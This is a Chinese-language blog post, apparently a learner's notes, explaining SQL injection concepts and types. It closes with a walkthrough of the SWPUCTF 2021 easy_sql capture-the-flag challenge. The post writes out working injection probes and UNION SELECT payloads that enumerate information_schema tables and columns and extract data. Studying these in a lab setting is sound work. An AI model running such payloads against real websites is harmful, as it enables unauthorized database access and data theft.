sql注入漏洞

sql注入漏洞

什么是sql注入

概念

​ 通过把sql命令插入到web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令的目的。

​ 具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

原理

​ sql是结构化的查询语言,它是访问数据库的事实标准。目前大多数web应用都使用sql数据库来存放应用程序的数据。几乎所有的web应用在后台,都使用某种sql数据库,跟大多数语言一样,sql语法允许数据库命令和用户数据混杂在一起的。

​ 如果开发人员不细心的话,如:不重视书写规范,对sql关键字未进行过滤等,那么用户数据就有可能被解释成命令,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。这就意味着,远程用户不仅能向web应用输入数据,而且还可以在数据库上执行命令。

怎么进行sql注入

sql注入的攻击形式:

一、直接攻击

​ 直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量

二、间接攻击

​ 将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。

​ 注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“–”或“#”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不被编译与执行。

sql注入的分类:

按照注入方式可以分为联合注入、布尔盲注、时间盲注、堆叠注入以及报错注入等五种注入方式

  • 联合注入

    前提要求:数据会进行回显,页面有显位符,在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

    首先可以使用联合查询判断当前数据库类型、版本信息以便于进一步进行注入

    联合查询要求两个语句所查询的字段数与类型需要一致因此,在进行联合查询之前首先应当判断查询语句中涉及的字段数为多少。使用**order by 加数字** – 进行测试

  • 布尔盲注

  • 时间盲注

  • 堆叠盲注

  • 报错盲注

  • xpath报错注入

  • 主键重复报错注入

其他注入方式:

按照另一种分类方式,sql注入又可以分为,数字型注入、字符型注入和搜索型注入,当注入点的值原本为整数等数值是,这时的注入为数字型注入,注入点数据为被引号包裹的字符串时,这时的注入则为字符型注入,搜索型注入其原形大致为:select * from 表名 where 字段 like ‘%关键字%’

sql注入的步骤:

  • 判断应用程序是否存在注入漏洞
  • 搜集信息、并判断数据库类型
  • 根据注入参数类型,重构sql语句的原貌
  • 猜解表明、字段名
  • 获取账户信息、攻击web或为下一步不攻击做准备。

一、判断应用程序是否存在注入漏洞

  • and 1=1,and 1=2 返回页面数据不同
  • ?id=3-1,返回数据内容不同
  • 添加’、""以及其他特殊符号报错

二、判断字段数:’ order by 数字 – ’

三、确定回显点 -1 ’ union select 1,2 – ’

四、查询数据库信息

五、查询用户名,数据库名

六、查询表名

七、查询列名

八、查询最终数据

例子

[SWPUCTF 2021 新生赛]easy_sql

在这里插入图片描述
在这里插入图片描述
判断有sql注入漏洞
在这里插入图片描述
在这里插入图片描述

这说明了字段数应该为3
查看回显
在这里插入图片描述

查看数据库版本信息

在这里插入图片描述MariaDB数据库管理系统是MySQL的一个分支,说明需要使用mysql语句注入

查看数据库:database()
在这里插入图片描述
查看用户:user()
在这里插入图片描述

查表:

?wllm=-1 ’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘test_db’-- ’

在这里插入图片描述

至于为什么这么写 ,可以参考这篇文章

详解union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘ ‘–±CSDN博客

爆列

?wllm=-1 ’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘test_db’-- ’

在这里插入图片描述

这里将table换成了column

最后看flag

?wllm=-1 ’ union select 1,2,group_concat(flag) from test_tb – ’

在这里插入图片描述

结果得出

参考文章:

总结

本章是因为在刷题所以写下这篇文章便于自己理解,有误之处请多多指教,我会细心的调查和改正。本文还有些地方并没有完善,后续会完善。

  • 19
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值